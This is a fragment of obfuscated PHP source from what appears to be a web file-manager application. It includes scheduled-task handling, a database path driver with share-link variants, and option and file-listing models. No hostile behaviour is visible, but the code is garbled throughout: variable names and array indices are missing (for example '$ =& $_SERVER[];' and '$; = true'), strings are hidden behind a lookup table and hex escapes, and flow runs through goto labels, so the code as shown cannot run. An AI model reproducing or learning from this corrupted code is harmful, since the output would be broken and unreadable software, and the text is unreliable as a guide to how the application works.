3600 * 24 * 30) { return !1; } if ($[$[1731]] == date($[1732]) && $֙) { return !0; } break; case $[1733]: if (time() - $熃ȶ < 3600 * 24 * 7) { return !1; } $ = date($[1734]) == 0 ? 7 : date($[1734]); if ($[$[1733]] == $ && $֙) { return !0; } break; case $[1726]: if (time() - $熃ȶ < 3600 * 24) { return !1; } if ($֙) { return !0; } break; case $[1735]: if (time() - $熃ȶ >= floatval($[$[1735]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ʋپ =& $_SERVER[]; static $ = 0; $ = 300; if (!$) { $ = time(); } if (time() - $ < $) { return; } $ = time(); $ = Model($ʋپ[553])->db($ʋپ[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($ʋپ[1736], $ʋپ[1737]); die; } } public static function taskRun($ͼˋ) { $⇌׿ =& $_SERVER[]; self::log($⇌׿[1738] . $ͼˋ[$⇌׿[450]] . $⇌׿[1739] . $ͼˋ[$⇌׿[32]] . $⇌׿[1740] . $ͼˋ[$⇌׿[1741]]); Model($⇌׿[1722])->run($ͼˋ[$⇌׿[450]]); $ڎ = timeFloat(); $žڭ = $⇌׿[12]; switch ($ͼˋ[$⇌׿[33]]) { case $⇌׿[358]: $ο = url_request($ͼˋ[$⇌׿[1741]], $⇌׿[252], !1, !1, !1, !1, 10); if ($ο[$⇌׿[795]]) { $žڭ = strlen($ο[$⇌׿[1256]]); } break; case $⇌׿[251]: $žڭ = Hook::apply($ͼˋ[$⇌׿[1741]]); default: break; } Model($⇌׿[1742])->add(array($⇌׿[1743] => $⇌׿[12], $⇌׿[1744] => $⇌׿[219], $⇌׿[33] => $⇌׿[1745] . $ͼˋ[$⇌׿[450]], $⇌׿[1746] => json_encode(array($⇌׿[32] => $ͼˋ[$⇌׿[32]], $⇌׿[1747] => timeFloat() - $ڎ, $⇌׿[344] => $žڭ)))); $ю뉭 = $žڭ ? $⇌׿[1748] . $žڭ : $⇌׿[12]; self::log($⇌׿[1749] . $ͼˋ[$⇌׿[450]] . $⇌׿[168] . $ю뉭); return !0; } public static function valueGet($) { $ׄ =& $_SERVER[]; $ɤĒț = $ׄ[1750]; $Ӏ = Model($ׄ[483])->get($, $ɤĒț); if (is_null($Ӏ)) { Model($ׄ[483])->set($ׄ[795], $ׄ[91], $ɤĒț); Model($ׄ[483])->set($ׄ[1703], $ׄ[219], $ɤĒț); $Ӏ = Model($ׄ[483])->get($, $ɤĒț); } return $Ӏ; } private static function valueSet($ɳŢ, $ȷ = false) { $ݣ =& $_SERVER[]; $ɬ = $ݣ[1751]; CacheLock::lock($ɬ); $ƀͲ = Model($ݣ[483])->set($ɳŢ, $ȷ, $ݣ[1750]); CacheLock::unlock($ɬ); return $ƀͲ; } protected static function log($ع) { write_log($ع, $_SERVER[][1737]); } private static function cacheClear() { $֍ =& $_SERVER[]; Cache::clearMemory(Model($֍[483])->cacheKey($֍[1750])); Cache::clearMemory(Model($֍[483])->cacheKey($֍[1752])); Model($֍[1722])->cacheClear(); self::closeDatabase(); } } goto cĺ겔; b峗: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($֌) { $this->pathParse = $֌; $this->model = Model($_SERVER[][1388]); } public function getPath($ɳ) { return trim($ɳ, $_SERVER[][8]); } public function pathFather($ѫ) { $䢠 = $this->parse($ѫ); $䢠 = $this->infoSimple($ѫ); return $䢠 ? $䢠[$_SERVER[][183]] : !1; } public function pathThis($Lj) { $ʜ = $this->infoSimple($Lj); return $ʜ ? $ʜ[$_SERVER[][32]] : !1; } public function getPathOuter($Վ) { if (!$Վ) { return $Վ; } $ϛ = $this->parse($Վ); return KodIO::make($ϛ[$_SERVER[][450]]); } public function copyFolderFromIO($, $, $, $ڛ, $) { $Ѓ = $this->model->copyFolderFromIO($, $, $, $ڛ, $); return KodIO::make($Ѓ); } public function isParentOf($, $˰ƒ) { return $this->model->isParentOf($, $˰ƒ); } public function mkfile($ߟ, $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $͛ = $this->parse($ߟ); $ߟ = $͛[$[450]]; for ($ = 0; $ < count($͛[$[1389]]); $++) { $ɑ = $͛[$[1389]][$]; if ($ == count($͛[$[1389]]) - 1) { $ߟ = $this->model->mkfile($ߟ, $ɑ, $, $); break; } $ߟ = $this->model->mkdir($ߟ, $ɑ, REPEAT_SKIP); } return $this->getPathOuter($ߟ); } public function mkdir($, $ = REPEAT_SKIP) { $Ү =& $_SERVER[]; $ = $this->parse($); $ = $[$Ү[450]]; for ($Ư = 0; $Ư < count($[$Ү[1389]]); $Ư++) { $ѣ = $[$Ү[1389]][$Ư]; $ = $this->model->mkdir($, $ѣ, $); } return $this->getPathOuter($); } public function copyFile($, $Я, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($Я); $ = $this->model->copy($, $[$[450]], $, $[$[87]]); return $ ? $this->getPathOuter($) : !1; } public function moveFile($, $⎷, $흿 = REPEAT_REPLACE) { $ƥ =& $_SERVER[]; $ = $this->parse($⎷); $֍ = $this->model->move($, $[$ƥ[450]], $흿, $[$ƥ[87]]); return $֍ ? $this->getPathOuter($֍) : !1; } public function copy($, $麴, $ؼ = REPEAT_REPLACE, $ = false) { $̢ = $this->parse($麴); $⭳Ԛ = $this->model->copy($, $̢[$_SERVER[][450]], $ؼ, $); return $⭳Ԛ ? $this->getPathOuter($⭳Ԛ) : !1; } public function moveSameAllow() { } public function move($, $, $陊 = REPEAT_REPLACE, $Ŭ = false) { $ʓЅ = $this->parse($); $ɲ = $this->model->move($, $ʓЅ[$_SERVER[][450]], $陊, $Ŭ); return $ɲ ? $this->getPathOuter($ɲ) : !1; } public function remove($ɞ, $; = true) { return $this->model->remove($ɞ, $;); } public function rename($ۿ, $) { $򋋤 = $this->model->rename($ۿ, $); return $򋋤 ? $this->getPathOuter($ۿ) : $򋋤; } public function size($Ϩ) { $ϴں = $this->infoSimple($Ϩ); return $ϴں ? $ϴں[$_SERVER[][79]] : 0; } public function infoSimple($Ȟ) { return $this->model->sourceInfo($Ȟ); } public function info($֓) { return $this->infoParse($֓); } public function infoAuth($擵) { return $this->infoParse($擵, !1, !0); } public function infoWithChildren($ّ) { return $this->infoParse($ّ, !0); } protected function infoParse($, $喈 = false, $ = false) { if (!$喈) { return $this->model->pathInfo($, $); } return $this->model->pathInfoMore($); } public function infoFullSimple($Ɍ) { $󡫜 =& $_SERVER[]; $ = explode($󡫜[8], $Ɍ); $ = implode($󡫜[8], array_splice($, 1)); return $this->model->pathInfoByPath($[0], $); } public function infoFull($ˏ) { $ = $this->infoFullSimple($ˏ); return is_array($) ? $this->model->pathInfo($[$_SERVER[][184]]) : !1; } public function hashSimple($噊) { $ =& $_SERVER[]; $Ծ = $this->infoWithChildren($噊); return $Ծ[$[524]][$[647]]; } public function hashMd5($) { $Ļ =& $_SERVER[]; $Ʈ = $this->infoWithChildren($); return $Ʈ[$Ļ[524]][$Ļ[522]]; } public function exist($ƫҷ) { $ =& $_SERVER[]; $צ = $this->parse($ƫҷ); if (!$צ[$[87]]) { return $this->isFile($ƫҷ) || $this->isFolder($ƫҷ); } $ރ = array($[452] => $צ[$[450]], $[32] => $צ[$[87]]); $Ϗ« = $this->model->where($ރ)->find(); return $Ϗ« ? !0 : !1; } public function isFile($) { $© =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$©[460]] == $©[219] ? !0 : !1; } public function isFolder($ȷ) { $󆆫 =& $_SERVER[]; $ = $this->infoSimple($ȷ); return $ && $[$󆆫[460]] == $󆆫[91] ? !0 : !1; } public function listPath($, $˼ = false) { $Ż =& $_SERVER[]; if ($ == $Ż[12]) { return !1; } $ = array($Ż[452] => $); if ($˼) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $ = false, $Б = null) { $ɢŠ =& $_SERVER[]; $ġĸ = $this->infoWithChildren($); if ($) { return array($ɢŠ[231] => $ġĸ[$ɢŠ[231]], $ɢŠ[230] => $ġĸ[$ɢŠ[230]]); } return $Б ? $ġĸ[$ɢŠ[231]] : $ġĸ[$ɢŠ[230]]; } public function listAll($) { $˘ = IO::info($this->pathParse[$_SERVER[][87]]); if (!$˘) { return array(); } return $this->model->listAll($); } public function getContent($Ⱦ) { return $this->model->getContent($Ⱦ); } public function setContent($ـʮ, $Š = '') { return $this->model->setContent($ـʮ, $Š); } public function fileSubstr($㷳, $, $) { return $this->model->fileSubstr($㷳, $, $); } public function download($ʢ, $ = '') { $ڴ = get_path_father($); $޾ = get_path_this($); $ = $this->model->fileInfoGet($ʢ); $ړ = IO::copy($[$_SERVER[][87]], $ڴ, !1, $޾); return $ړ; } public function setModifyTime($, $ٻ = '') { $Ҡ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($Ҡ[466] => $))->save(array($Ҡ[88] => $ٻ)); } public function upload($, $̹, $ = false, $ = REPEAT_REPLACE) { $Ƴݶ =& $_SERVER[]; $ĂІɭ = $this->parse($); $̌ = $this->model->addFile($ĂІɭ[$Ƴݶ[450]], $̹, $ĂІɭ[$Ƴݶ[87]], $, $); return $this->getPathOuter($̌); } public function uploadFileByID($, $, $) { $ =& $_SERVER[]; $ = $this->parse($); $੒ = $this->model->addFileByFileID($[$[450]], $, $[$[87]], $); return $this->getPathOuter($੒); } public function addFileByRemote($, $拾, $ = array(), $ = '', $ʍƺ) { $矴 =& $_SERVER[]; $ˋ = $this->parse($); $ = empty($) ? $ˋ[$矴[87]] : $; $ = $this->model->addFileByRemote($ˋ[$矴[450]], $拾, $, $, $ʍƺ); return $this->getPathOuter($); } public function uploadLink($˟, $ = 0) { $ =& $_SERVER[]; $ᜋ = $this->parse($˟); $ = _get($GLOBALS[$[7]], $[1390]); $‰ = _get($GLOBALS[$[7]], $[1391]); $˟ = Model($[649])->createFileName($ᜋ[$[87]], $, $‰); return IO::uploadLink($˟, $); } public function fileNameAuto($, $դ, $ = REPEAT_REPLACE, $֒ = false) { return $this->model->fileNameAuto($, $դ, $, $֒); } public function fileNameExist($, $сÕ) { return $this->model->fileNameExist($, $сÕ); } protected function _fileOut($뻼, $㯟 = false, $܆ = false, $ = '', $ܧ = false) { $μ =& $_SERVER[]; $ޢ = $this->model->sourceInfo($뻼); if ($ޢ[$μ[460]] == $μ[91]) { header($μ[1392]); die; } $祄˞ = $this->model->fileInfoGet($뻼); $ = $祄˞[$μ[522]] ? $祄˞[$μ[522]] : $; $ח = is_array($GLOBALS[$μ[172]]) ? $GLOBALS[$μ[172]][$μ[32]] : $ޢ[$μ[32]]; if ($ܧ) { return IO::fileOutServer($祄˞[$μ[87]], $㯟, $ח, $); } IO::fileOut($祄˞[$μ[87]], $㯟, $ח, $); } public function fileOut($, $ = false, $䯘 = false, $ = '') { $this->_fileOut($, $, $䯘, $); } public function fileOutServer($, $˖ = false, $ξƅ = false, $ = '') { $this->_fileOut($, $˖, $ξƅ, $, !0); } protected function _fileOutImage($˟, $鿖뗂 = 250) { $ʍ =& $_SERVER[]; $Ƚ = $this->model->pathInfo($˟); if ($Ƚ[$ʍ[460]] == $ʍ[91]) { show_json($ʍ[1393] . $˟, !1); } $ = $this->model->fileInfoGet($˟); $Ƚ[$ʍ[173]] = $[$ʍ[87]]; $GLOBALS[$ʍ[172]] = $Ƚ; IO::fileOutImage($[$ʍ[87]], $鿖뗂); } public function fileOutImage($, $̇ = 250) { $this->_fileOutImage($, $̇); } public function fileOutImageServer($߯, $҆ = 250) { $this->_fileOutImage($߯, $҆); } public function link($ݓ, $ = '') { $ړ = $this->model->fileInfoGet($ݓ); return IO::link($ړ[$_SERVER[][87]], $); } protected function parse($) { $ =& $_SERVER[]; if (strstr($, $[8]) === !1) { return array($[468] => intval($), $[87] => $[12], $[1389] => array()); } $ = explode($[8], trim($, $[8])); if (count($) < 2) { show_tips(clear_html($) . $[1394]); } return array($[468] => intval($[0]), $[87] => $[1], $[1389] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($ң) { $this->pathParse = $ң; $this->model = Model($_SERVER[][1388]); } public function getPathOuter($߇) { $ =& $_SERVER[]; if (!$߇) { return $߇; } $ą = $this->parse($߇); return trim(KodIO::makeShare($this->pathParse[$[450]], $ą[$[450]]), $[8]); } protected function infoParse($ѯ, $ϝ֏ = false, $ëȧ = false) { $Ί =& $_SERVER[]; $孧 = $this->pathParse[$Ί[450]]; $𜆴 = trim($this->pathParse[$Ί[1222]], $Ί[8]); return Action($Ί[1395])->sharePathInfo($孧, $𜆴, $ϝ֏); } public function infoFull($Ȳ۲) { $ =& $_SERVER[]; $ = explode($[8], trim($Ȳ۲, $[8])); if (count($) > 1) { $ = implode($[8], array_splice($, 1)); $ˡ = $this->model->pathInfoByPath($[0], $); if (!$ˡ) { return !1; } $this->pathParse[$[1222]] = $ˡ[$[184]]; } return $this->infoParse($Ȳ۲); } public function listAll($Ű矪) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[87]]); if (!$) { return array(); } $ = $this->model->listAll($Ű矪); $Ա = Model($[639])->getInfo($[$[640]]); foreach ($ as &$) { check_abort(); $[$[90]] = Action($[1395])->_shareItemeParse($[$[90]], $Ա); } unset($); return $; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1388]); } protected function infoParse($, $Մ = false, $ƻ = false) { $殂 =& $_SERVER[]; return Action($殂[1228])->sharePathInfo($this->pathParse[$殂[87]], !0, $Մ); } public function listPath($ߘܭ, $۸ = false) { $߷ =& $_SERVER[]; $ = parent::listPath($ߘܭ, $۸); if (!$) { return $; } if (is_array($[$߷[1396]])) { $[$߷[1396]] = Action($߷[1228])->shareItemInfo($[$߷[1396]]); } foreach ($ as $ݰ˻ => $) { if (!in_array($ݰ˻, array($߷[86], $߷[85]))) { continue; } foreach ($ as $њ => $籧) { $[$ݰ˻][$њ] = Action($߷[1228])->shareItemInfo($籧); } } return $; } public function listAll($ɇ) { $Dž =& $_SERVER[]; $ = IO::info($this->pathParse[$Dž[87]]); if (!$) { return array(); } $آ = $this->model->listAll($ɇ); foreach ($آ as &$⓵) { $⓵[$Dž[90]] = Action($Dž[1228])->shareItemInfo($⓵[$Dž[90]]); } unset($⓵); return $آ; } } goto dǕ; E·: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($آ = false, $ = '', $ = false) { $Ф =& $_SERVER[]; $ܪ = $this->cacheGet($); $Ӫ = $this->optionDefault($); $Ӫ = is_array($Ӫ) ? $Ӫ : array(); if (is_array($ܪ)) { $ܪ = array_merge($Ӫ, $ܪ); return $آ ? isset($ܪ[$آ]) ? $ܪ[$آ] : null : $ܪ; } $ = $this->filterWhere(array($Ф[33] => $)); $ܪ = $this->where($)->select(); $ܪ = array_to_keyvalue($ܪ, $Ф[97], $Ф[425]); foreach ($ܪ as $ => $) { if ($ || in_array($, $this->jsonField)) { $ܪ[$] = json_decode($, !0); } } $this->cacheSet($, $ܪ); $ܪ = array_merge($Ӫ, $ܪ); return $آ ? $ܪ[$آ] : $ܪ; } public function set($, $˥ = false, $ſ = '') { $׶ =& $_SERVER[]; $this->cacheRemove($ſ); $؏ = array(); $ = is_array($) ? $ : array($ => $˥); foreach ($ as $恷 => $ҥڐ) { if (is_array($ҥڐ)) { $ҥڐ = json_encode_force($ҥڐ); } $this->checkLength($ҥڐ, !1, $this->tableName . $׶[4] . $); $ҥڐ = self::textEncode($ҥڐ); $ = array($׶[33] => $ſ, $׶[97] => $恷, $׶[425] => $ҥڐ); $؏[] = $this->filterWhere($); } if (!$؏) { return !0; } $ = $this->cacheKey($׶[451]); CacheLock::lock($); $ = $this->addAll($؏, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($ߕ = '') { return !1; } public function setDeep($˓, $ = false, $Ϭ = '') { $ = explode($_SERVER[][10], $˓); $ܲ = $this->get(); array_set_value($ܲ, $˓, $); $this->set($[0], $ܲ[$[0]], $Ϭ); } public function remove($, $ؙ = '') { $ى =& $_SERVER[]; $this->cacheRemove($ؙ); $읤 = $this->filterWhere(array($ى[97] => $, $ى[33] => $ؙ)); if (is_null($)) { unset($읤[$ى[97]]); } return $this->where($읤)->delete(); } public function cacheSet($, $՞Ѽ = false) { return Cache::set($this->cacheKey($), $՞Ѽ); } public function cacheGet($Ҝ) { return Cache::get($this->cacheKey($Ҝ)); } public function cacheRemove($€) { return Cache::remove($this->cacheKey($€)); } protected function filterWhere($) { return $; } protected function cacheKey($ø) { return $ø; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\137\163\157\x75\162\x63\x65"; protected $tableMeta = array("\164\141\142\154\x65\116\x61\155\x65" => "\151\157\x5f\x73\x6f\x75\x72\143\145\137\x6d\145\x74\x61", "\x6d\145\164\x61\x46\x69\x65\154\x64" => "\163\157\165\x72\x63\145\111\104"); protected $dataAuto = array(array("\x6d\x6f\144\x69\x66\171\124\x69\x6d\x65", "\164\151\155\x65", "\151\156\163\x65\x72\x74", "\146\x75\156\143\x74\151\157\x6e"), array("\143\162\x65\141\x74\145\124\151\155\145", "\x74\151\155\x65", "\151\x6e\163\145\162\164", "\x66\x75\x6e\143\164\x69\x6f\x6e"), array("\x76\x69\x65\167\124\151\155\145", "\164\151\155\x65", "\x69\x6e\163\145\162\x74", "\146\165\156\143\164\x69\157\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][452] => $)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "\x73\171\x73\164\145\x6d", self::TYPE_USER => "\165\163\145\x72", self::TYPE_GROUP => "\x67\x72\x6f\165\x70"); return $[$ . $_SERVER[][12]]; } public function sourceListInfo($ݗ, $ = false) { $Ҹذ =& $_SERVER[]; $ݗ = $ݗ ? $ݗ : array(); $ݗ = array_filter(array_unique($ݗ)); if (!$ݗ) { return array(); } $ = $this->where(array($Ҹذ[184] => array($Ҹذ[7], $ݗ)))->select(); $this->_listDataApply($, $); return array_to_keyvalue($, $Ҹذ[184]); } public function pathInfoFilter(&$ޟ) { $ =& $_SERVER[]; static $ = false; static $Ƈ = false; static $ = false; if (!$) { $¬ = $[453]; $¬ .= $[454]; $¬ .= $[455]; $ = $[456]; $ʥ = explode($[50], $); $ = explode($[50], $¬); $Ƈ = array(); foreach ($ as $枹) { if (in_array($枹, $ʥ)) { continue; } $Ƈ[] = $枹; } $ = explode($[50], $[457]); } foreach ($ as $ŀ) { if (isset($ޟ[$ŀ])) { $ޟ[$ŀ] = intval($ޟ[$ŀ]); } } $ޟ[$[87]] = $[458] . $ޟ[$[184]] . $[459]; $ޟ[$[33]] = $ޟ[$[460]] == 1 ? $[78] : $[221]; $ޟ[$[181]] = $this->typeName($ޟ[$[181]]); if ($ޟ[$[460]] != 1) { $ޟ[$[178]] = $ޟ[$[461]]; unset($ޟ[$[461]]); } $ĜĴ = $; if (isset($ޟ[$[462]]) && $ޟ[$[462]][$[463]] == -1) { $ĜĴ = $Ƈ; } $ޟ = array_field_key($ޟ, $ĜĴ); return $ޟ; } public function listUserFav() { $Ϗ =& $_SERVER[]; $ʊ = Model($Ϗ[464])->listData(); $Û拿 = array_filter_by_field($ʊ, $Ϗ[33], $Ϗ[465]); $Û拿 = array_to_keyvalue($Û拿, $Ϗ[12], $Ϗ[87]); if ($Û拿) { $ǃ = $this->listSource(array($Ϗ[466] => array($Ϗ[467], $Û拿))); } $ǃ = array_to_keyvalue($ǃ[$Ϗ[420]], $Ϗ[184]); foreach ($ʊ as &$) { $ = array($Ϗ[468] => $[$Ϗ[450]], $Ϗ[469] => $[$Ϗ[32]], $Ϗ[470] => $[$Ϗ[87]], $Ϗ[471] => $[$Ϗ[33]], $Ϗ[472] => $[$Ϗ[222]], $Ϗ[473] => $[$Ϗ[88]]); if ($[$Ϗ[33]] == $Ϗ[465] && $ǃ[$[$Ϗ[87]]]) { $[$Ϗ[90]] = $ǃ[$[$Ϗ[87]]]; } } unset($); return $ʊ; } public function listUserTag($) { $̇ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = Model($̇[474])->listData(); $Ӆ = array(); $ϙ = array(); foreach ($ as $⬋) { $ѣ = $⬋[$̇[87]]; if (!$ѣ) { continue; } if (!isset($ϙ[$ѣ])) { $ϙ[$ѣ] = array(); } $ϙ[$ѣ][] = $⬋[$̇[475]]; $Ӆ[$⬋[$̇[87]]] = $⬋; } $ = array(); $ͨ = array(); $ت = array(); foreach ($ϙ as $Ƿɭ => $Ȼ) { $ = !0; if (!$) { $[] = $Ƿɭ; continue; } foreach ($ as $) { if (!in_array($, $Ȼ)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($Ƿɭ)) { $˶ = $Ӆ[$Ƿɭ]; $ = array($̇[32] => $˶[$̇[32]], $̇[87] => $˶[$̇[87]], $̇[33] => $˶[$̇[33]], $̇[90] => array($̇[476] => 1), $̇[223] => !0); if ($˶[$̇[33]] == $̇[221]) { $ت[] = $; } if ($˶[$̇[33]] == $̇[78]) { $ͨ[] = $; } continue; } $[] = $Ƿɭ; } if ($) { $ = $this->listSource(array($̇[466] => array($̇[467], $))); } $ = $ ? $ : array($̇[85] => array(), $̇[86] => array()); $[$̇[85]] = array_merge($[$̇[85]], $ͨ); $[$̇[86]] = array_merge($[$̇[86]], $ت); if (isset($[$̇[417]]) && count($) == $[$̇[417]][$̇[418]]) { return $; } $ = array(); $ = array_to_keyvalue($[$̇[85]], $̇[12], $̇[184]); $܂ = array_to_keyvalue($[$̇[86]], $̇[12], $̇[184]); $࣌Й = array_merge($܂, $); foreach ($ as $ѣ) { if (!in_array($ѣ, $࣌Й)) { $[] = $ѣ; } } if ($) { Model($̇[477])->removeBySource($); } return $; } public function listUserRecycle() { $ѡ =& $_SERVER[]; $𵷶 = Model($ѡ[478])->listData(); if (!$𵷶) { return array(); } $ = array($ѡ[466] => array($ѡ[467], $𵷶), $ѡ[479] => 1); return $this->listSource($); } public function listSource($ϧ, $Ы = 3000, $ = false) { $ş =& $_SERVER[]; if (!isset($ϧ[$ş[480]])) { $ϧ[$ş[480]] = 0; } if (isset($ϧ[$ş[183]]) && $ϧ[$ş[183]] == $ş[219]) { $ϧ[$ş[461]] = array($ş[382], $ş[481]); } $Ǔ = $ş[482]; $ǵ = $this->field($Ǔ)->_makeOrder()->where($ϧ)->selectPage($Ы); $this->_listPageCheck($ǵ, $Ǔ, $ϧ); $this->_listDataApply($ǵ[$ş[420]], $); $this->_listMake($ǵ); return $ǵ; } private function _listPageCheck(&$ԡՃ, $Ň, $ܪ) { $ι =& $_SERVER[]; if (!is_array($ԡՃ[$ι[417]])) { return; } $ԅ = $ԡՃ[$ι[417]]; if ($ԅ[$ι[419]] <= 1) { return; } if ($ԅ[$ι[418]] >= 100000) { return; } if (Model($ι[483])->get($ι[484]) != $ι[485]) { return; } $Ň = str_replace(array($ι[53], $ι[393], $ι[253]), $ι[12], $Ň); $Ň = $ι[486] . str_replace($ι[50], $ι[487], $Ň) . $ι[488]; $چ = $ι[489]; $چ = $چ . $ι[490]; $ = $ԅ[$ι[414]] * ($ԅ[$ι[404]] - 1) . $ι[50] . $ԅ[$ι[414]]; $ص = $this->_makeOrder(!0); $ = $ι[486] . str_replace($ι[50], $ι[487], $ص[0]); if (strpos($, $ι[491])) { $ = str_replace($ι[491], $ι[492], $); } else { $ .= $ι[493] . $ص[1]; } $ = array(); foreach ($ܪ as $ŝ => $δ) { $[$ι[486] . $ŝ] = $δ; } $this->alias($ι[494])->field($Ň)->limit($)->order($); $׷ = $this->join($چ)->where($)->select(); if ($׷) { $ԡՃ[$ι[420]] = $׷; } } protected function _makeOrder($ = false) { $ =& $_SERVER[]; $Ћ = Model($[495])->get($[496]); $ߣ = Model($[495])->get($[497]); $ǘ = array($[498] => $[499], $[500] => $[501]); $ = array($[32] => $[32], $[79] => $[79], $[178] => $[461], $[502] => $[502], $[503] => $[504], $[222] => $[222], $[88] => $[88]); $ʭ = Input::get($[505], $[7], $Ћ, array_keys($)); $ = Input::get($[506], $[7], $ߣ, array_keys($ǘ)); if (!in_array($ʭ, array_keys($))) { $ʭ = $[32]; } if (!in_array($, array_keys($ǘ))) { $ʭ = $[498]; } if ($ʭ == $[32]) { } $ޕ = $[507] . $[$ʭ] . $[53] . $ǘ[$]; $ޕ = rtrim(trim($ޕ), $[50]); if ($) { return array($ޕ, $ǘ[$]); } return $this->order($ޕ); } protected function _listDataApplyItem($, $ = false) { $㤙 = array($); $this->_listDataApply($㤙, $); return $㤙[0]; } protected function _listDataApply(&$, $ = false) { $ =& $_SERVER[]; if (!$) { $ = array(); return; } $ۨ = array_to_keyvalue($, $[12], $[184]); $ۨ = array_unique($ۨ); $this->_listSourceCache($); if (!$) { $this->_listAppendMeta($, $ۨ); $this->_listAppendFileMeta($, $ۨ); $this->_listAppendChildren($, $ۨ); } $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $ۨ); $this->_listAppendUser($); $this->_listFilterInfo($, $); $this->_listAppendAuthSecret($); } protected function _listSourceCache($) { $ =& $_SERVER[]; foreach ($ as $־) { self::$cacheSourceInfo[$[508] . $־[$[184]]] = $־; } } protected function _listFilterInfo(&$뼬, $ = false) { $ =& $_SERVER[]; foreach ($뼬 as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$[509] . intval($) . $[437] . $[$[184]]] = $; } unset($); } protected function _listMake(&$) { $ɓ =& $_SERVER[]; $[$ɓ[85]] = array(); $[$ɓ[86]] = array(); foreach ($[$ɓ[420]] as $Ϳ) { $͎Ȓ = $Ϳ[$ɓ[460]] == 1 ? $ɓ[85] : $ɓ[86]; $[$͎Ȓ][] = $Ϳ; } unset($[$ɓ[420]]); } protected function _listAppendMeta(&$, $ʍ) { $ =& $_SERVER[]; $؍ʩ = array($[466] => array($[467], $ʍ)); $ƽ = Model($[510])->field($[511])->where($؍ʩ)->select(); if (!$ƽ) { return; } $ = array($[512], $[513], $[492]); $Ȼ = array(); foreach ($ƽ as $) { if (!isset($Ȼ[$[$[184]]])) { $Ȼ[$[$[184]]] = array(); } if (in_array($[$[97]], $)) { continue; } $Ȼ[$[$[184]]][$[$[97]]] = $[$[425]]; } foreach ($ as &$) { $[$[514]] = !1; if (isset($Ȼ[$[$[184]]])) { $[$[514]] = $Ȼ[$[$[184]]]; } if ($this->fileIsLock($) && $[$[462]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[462]][$[463]] = AuthModel::authDisable($[$[462]][$[463]], $); $[$[462]][$[515]][$[462]] = $[$[462]][$[463]]; } } unset($); } protected function _listAppendFileMeta(&$, $Ͼ) { $ô =& $_SERVER[]; $ = array_to_keyvalue($, $ô[12], $ô[516]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($ô[517] => array($ô[467], $)); $օ = $ô[518]; $Ս = Model($ô[519])->field($օ)->where($)->select(); $Ս = array_to_keyvalue($Ս, $ô[516]); $֡ = Model($ô[520])->field($ô[521])->where($)->select(); $֡ = $֡ ? $֡ : array(); $Ʉ = array(); foreach ($֡ as $) { if (!isset($Ʉ[$[$ô[516]]])) { $Ʉ[$[$ô[516]]] = array(); } $Ʉ[$[$ô[516]]][$[$ô[97]]] = $[$ô[425]]; } foreach ($ as &$) { $䆶 = $[$ô[516]]; if (!$䆶 || !is_array($Ս[$䆶])) { continue; } $͐ = $Ս[$䆶]; $͐[$ô[79]] = $[$ô[79]]; $͐[$ô[32]] = $[$ô[32]]; if (!$͐[$ô[522]]) { Model($ô[519])->fileMd5Check($͐); } if (!isset(self::$cacheFileInfo[$ô[523] . $䆶])) { self::$cacheFileInfo[$ô[523] . $䆶] = array_merge(array(), $͐); } unset($Ս[$䆶][$ô[87]]); $ = is_array($Ʉ[$䆶]) ? $Ʉ[$䆶] : array(); $[$ô[524]] = array_merge($, $Ս[$䆶]); if (isset($[$ô[524]][$ô[174]])) { $[$ô[174]] = json_decode($[$ô[524]][$ô[174]], !0); unset($[$ô[524]][$ô[174]]); } } unset($); } protected function _listAppendSourceInfo(&$, $ڨѦ) { $邭 =& $_SERVER[]; $բ = Model($邭[525])->listData(); $˧ = Model($邭[474])->listData(); $מ = Model($邭[464])->listData(); $䣶 = Model($邭[526])->listSimple(); $ = array_to_keyvalue($բ, $邭[450]); $ = array_to_keyvalue_group($˧, $邭[87], $邭[475]); $ = array_to_keyvalue($מ, $邭[87]); $׺ = array_to_keyvalue_group($䣶, $邭[184]); foreach ($ as &$ꀑ) { $ꀑ[$邭[90]] = array($邭[527] => 0, $邭[528] => 0, $邭[529] => 0); if (isset($[$ꀑ[$邭[184]]])) { $ꀑ[$邭[90]][$邭[530]] = 1; $ꀑ[$邭[90]][$邭[531]] = $[$ꀑ[$邭[184]]][$邭[32]]; } if ($ && $ && isset($[$ꀑ[$邭[184]]])) { $ꀑ[$邭[90]][$邭[532]] = array(); foreach ($[$ꀑ[$邭[184]]] as $Ԣ耥) { $Ӿ贾 = $[$Ԣ耥]; $ꀑ[$邭[90]][$邭[532]][] = array($邭[533] => $Ӿ贾[$邭[450]], $邭[469] => $Ӿ贾[$邭[32]], $邭[534] => $Ӿ贾[$邭[535]]); } } if ($׺ && isset($׺[$ꀑ[$邭[184]]])) { $ꀑ[$邭[90]][$邭[536]] = array(); foreach ($׺[$ꀑ[$邭[184]]] as $) { $ = $邭[537]; if ($[$邭[538]] == $邭[91]) { $ .= $邭[539]; } $ꀑ[$邭[90]][$邭[536]] = array_field_key($, explode($邭[50], $)); } } } unset($ꀑ); return $; } protected function _listAppendChildren(&$Ʒԭ, $) { $а =& $_SERVER[]; 